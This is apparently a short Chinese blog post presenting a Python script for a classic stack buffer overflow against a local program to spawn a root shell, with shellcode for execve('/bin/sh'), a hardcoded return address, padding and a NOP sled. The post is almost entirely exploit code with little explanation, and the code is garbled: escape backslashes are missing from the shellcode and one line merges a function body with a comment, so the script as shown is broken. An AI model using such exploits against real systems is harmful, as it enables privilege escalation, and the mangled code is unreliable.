Python經典棧緩衝區溢位獲取root許可權

z奶油麵包發表於2018-02-28
Python
版權宣告：轉載請註明出處:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396339

是Python2還是3我給忘記了，大家自己試試吧。

#!/usr/bin/env python
#-*-coding:utf-8-*-
#exp.py

import struct
from subprocess import call
#Stack address where shellcode is copied.
ret_addr = 0xbffff1d0

#Spawn a shell
#execve(/bin/sh)
scode = "x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x89xe2x53x89xe1xb0x0bxcdx80"
#endianess convertion
def conv(num):
 return struct.pack("<I",numnk + RA + NOP`s + Shellcode
buf = "A" * 268
buf += conv(ret_addr)
buf += "x90" * 100
buf += scode
print "Calling vulnerable program"
call(["./vuln", buf])


相關文章